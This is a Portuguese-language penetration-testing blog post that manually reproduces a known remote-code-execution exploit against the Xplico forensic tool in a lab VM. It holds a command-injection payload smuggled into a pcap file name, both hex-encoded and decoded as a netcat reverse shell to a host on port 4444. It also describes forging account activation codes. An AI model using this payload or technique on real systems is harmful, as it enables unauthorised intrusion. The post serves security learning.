Além do Metasploit
O que realmente acontece nos bastidores
Bom, este é meu primeiro post e estou muito animado em trazer um conteúdo que irá fazer você pensar fora da caixa. A principal ideia é destrinchar um exploit conhecido no Metasploit e entender o que está acontecendo por trás de todo processo automatizado. Eu tenho percebido muitas pessoas que ficam abitoladas com o metasploit e quando precisam de uma exploração manual acabam se perdendo. Por isso, aqui vai.
A aplicação utilizada para este post chama-se Xplico.
“Open Source Network Forensic Analysis Tool (NFAT)” O principal objetivo do Xplico é auxiliar na análise forense de arquivos PCAPs e as versões < 1.2.1 tem uma vulnerabilidade conhecida de RCE (Remote Code Execution). Para fazer a PoC (Proof of concept), vou utilizar uma VM (Virtual Machine).
No caso do Xplico, para conseguir de fato o nosso tão valioso RCE nós precisamos explorar 3 vulnerabilidades diferentes:
- Recurso de registro de usuário oculto
- Algoritimo de randomização fraca usado durante a geração de código de ativação
- Injeção de comando autenticada
Configurando o Metasploit
Agora vamos ver quão fácil é explorar essa versão vulnerável usando Metasploit e depois comparar com a exploração manual.
Dentro do msfconsole nós apenas temos que procurar pelo exploit, definir o payload a digitar exploit.
Como você pode ver, não é necessário ser um expert para explorar desse jeito, mas se você prestar atenção, a saída do exploit está mostrando tudo que acontece antes de ganharmos a shell. Então vamos enteder o que é isso e tentar replicar manualmente.
Primeiro passo é entender o que foi mostrado no Metasploit.
“A principal idéia dessa exploração é criar um usuário, calcular o código de ativação, validar o usuário criado, conectar na aplicação e fazer o upload do arquivo pcap. Mesmo se soubéssemos as credenciais de admin, usuários administradores não tem permissão de criar um novo caso e fazer o upload.”
Exploração Manual
Agora vamos utilizar o Burp suite para registrar um novo usuário e capturar o e-mail, usuário, senha e o tempo de resposta do registro. Com todas essas informações vamos ser capazes de gerar o nosso próprio código de ativação.
Faltando apenas o tempo de resposta, basta olharmos a aba “response” do Burp.
Juntando todas essas informações com o código PHP que gera um novo código de ativação, seremos capazes de registrar nosso própio usuário mesmo sem receber a confirmação por e-mail.
Pronto, temos nosso código de ativação: 59935aab0e42ce936192e12ba18d0646.
Agora é só acessar o link: 192.168.1.107:9876/users/registerConfirm/59935aab0e42ce936192e12ba18d0646
Obs: A validação do usuário pode falhar se a aplicação demorar para responder.
Com o nosso usuário registrado nós podemos fazer o login e o upload do arquivo PCAP. Para isso, clique em “new case” escolha um nome para o caso, clique em “new session” e escolha o nome para sua nova sessão.
Para ter um melhor entendimento de como o Metasploit envia o payload, resolvi subir o wireshark e capturei todo tráfego enquanto a exploração automatizada estava acontecendo e analisei.
Agora sabemos como o Metasploit envia o payload! Essa vulnerabilidade é baseada no seguinte código do Xplico:
sh –c md5sum “/opt/xplico/pol_1/sol_1/new/[NAME_OF_PCAP_FILE]” > /tmp/dema_hash.txt
Como você pode ver, se colocarmos algo diferente no nome do arquivo pcap, nós podemos escapar o código da aplicação e executar o nosso:
"`perl -e system(pack(qq,H206,,qq,6d6b6669666f202f746d702f6d6a726f6e67633b206e63203139322e3136382e312e313032203434343420303c2f746d702f6d6a726f6e6763207c202f62696e2f7368203e2f746d702f6d6a726f6e676320323e26313b20726d202f746d702f6d6a726f6e6763,))’)`”
Se decodarmos o hexadecimal acima, vamos obter o seguinte código:
“mkfifo /tmp/mjrongc; nc 192.168.1.102 4444 0</tmp/mjrongc | /bin/sh >/tmp/mjrongc 2>&1; rm /tmp/mjrongc”.
Esse foi o payload utilizado pelo Metasploit, agora podemos gerar o nosso própio payload e enviar. Vamos fazer o upload do mesmo arquivo pcap que capturei anteriormente.
Nesse momento, apenas enviei meu payload no lugar do nome do arquivo e alterei o Content-Type: application/octet-stream para fazer com que ele execute o payload.
Agora temos uma shell dentro da aplicação! Com isso, nós podemos entender como a vulnerabilidade funciona e como explorá-la manualmente. Para ser um bom Pentester precisamos enxergar além do Metasploit. Não temos que depender de uma única ferramenta, as ferramentas foram feitas para nos auxiliar e não para fazer todo o trabalho.
Fontes:
https://www.exploit-db.com/exploits/43430
https://pentest.blog/advisory-xplico-unauthenticated-remote-code-execution-cve-2017-16666/
Escritor:
Allan Trindad, veja este artigo em inglês no meu perfil.